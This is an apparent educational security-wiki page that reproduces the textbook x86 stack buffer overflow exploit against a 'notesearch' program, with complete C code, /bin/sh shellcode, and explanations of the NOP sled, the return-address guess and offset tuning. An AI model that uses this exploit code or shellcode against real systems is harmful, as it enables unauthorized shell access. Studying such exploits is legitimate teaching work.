x86
Refer to https://jarrettgxz-sec.gitbook.io/penetration-testing-ethical-hacking-concepts/vulnerability-and-exploitation/binary-exploitation/x86-architecture for more information about the x86 architecture
hacking: the art of exploitation
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // Zero out the new memory.
strcpy(command, "./notesearch \'"); // Start command buffer.
buffer = command + strlen(command); // Set buffer at the end.
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // Set return address.
for(i=0; i < 160; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled.
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // Run exploit.
free(command);
}
The exploit above displays a simple buffer overflow exploit for the x86 architecture.
This exploit will only work with architecture that have a stack growing downwards (to lower memory addresses).
Explanation
Shellcode string
...
Set return address (estimated)
ret = (unsigned int) &i - offset; // Set return address.
Set the return address by subtracting a guessed offset value from the current stack location. This calculates a possible lower memory location that may land in the NOP sled when the notesearch
program is executed. Keep in mind that a subtraction is used instead due to the stack growing downwards.
Fill buffer space with return address
This is performed in hopes of overwriting the
EIP
(instruction pointer) with the return address of our choiceto trick the CPU into executing malicious code
for(i=0; i < 160; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
Build NOP sled and append shellcode
memset(buffer, 0x90, 60); // Build NOP sled.
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
The value 0x90
represents a NOP instruction in x86 assembly. A NOP instruction is simply a command that does nothing. In this case, when the EIP points to an address within the NOP sled region, the CPU will simply run through each NOP instruction, until it eventually reaches and executes the shellcode.
Note: the CPU automatically updates the EIP to point to the next instruction in memory (auto increment)
1st line: appends 60 bytes of the NOP instruction
2nd line: appends shellcode right after the NOP sled
Methods to fine-tune the exploit
Increase the NOP sled size
This increases the chances of the return address value (calculated with the offset) to land within the NOP sled region
Vary the offset value
Experiment with different offset values to determine the value that provides the return address which falls within range the range of the NOP sled region
Last updated